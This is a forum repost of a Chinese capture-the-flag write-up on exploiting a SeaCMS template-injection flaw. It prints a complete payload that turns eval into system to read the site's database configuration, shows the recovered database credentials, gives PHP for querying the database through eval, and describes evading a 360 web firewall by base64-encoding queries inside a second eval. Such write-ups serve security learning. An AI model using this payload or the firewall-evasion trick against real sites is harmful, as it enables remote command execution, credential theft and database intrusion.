|
转载自:csdn原创:virtu41
题目:
首先进入题目链接,然后搜索seacms相关漏洞,我直接使用了百度出来的第一条,freebuf上的一篇文章:
http://www.freebuf.com/vuls/150042.html
漏洞利用方式如下:
我们把eval改成system,把9[]改成我们想要执行的命令,即可遍历网站的目录,我看了很多文件,最后在data目录下找到了common.inc.php文件,打开查看:payload如下
searchtype=5&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=ys{searchpage:letter}&letter=tem{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=cat ./data/common.inc.php
查看页面源代码
- <?php
- //数据库连接信息
- $cfg_dbhost = '127.0.0.1';
- $cfg_dbname = 'seacms';
- $cfg_dbuser = 'sea_user';
- $cfg_dbpwd = '46e06533407e';
- $cfg_dbprefix = 'sea_';
- $cfg_db_language = 'utf8';
- ?>
复制代码 然后我们使用eval执行php代码连接数据库
- $con=mysql_connect("127.0.0.1","sea_user","46e06533407e");
- while($row=mysql_fetch_array(mysql_query("select database()")))
- var_dump($row);
复制代码 得到数据库(其实上面的文件已经给出了。。。。。)
然后通过查询information_schema.tables获得数据库中的表,但是此时就会被拦截掉了,应该是360的waf,因为之前遍历目录的时候看到了360safe目录
其实这个很容易解决,既然它是过滤字符串,那我们就把字符串编码,因为我们可以使用eval执行各种代码,当然也可以对自己进行编码之后的字符串再进行解码,只需在payload中再加一个eval
现在我们把如下代码使用base64进行加密,框架是这样的:
在里面放上自己编码后的字符串即可
查询代码框架如下:
- $con=mysql_connect("127.0.0.1","sea_user","46e06533407e");
- while($row=mysql_fetch_array(mysql_query("填写你的注入语句")))
- var_dump($row);
复制代码 最后就能得到flag了
原文链接:https://blog.csdn.net/include_heqile/article/details/82735944
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|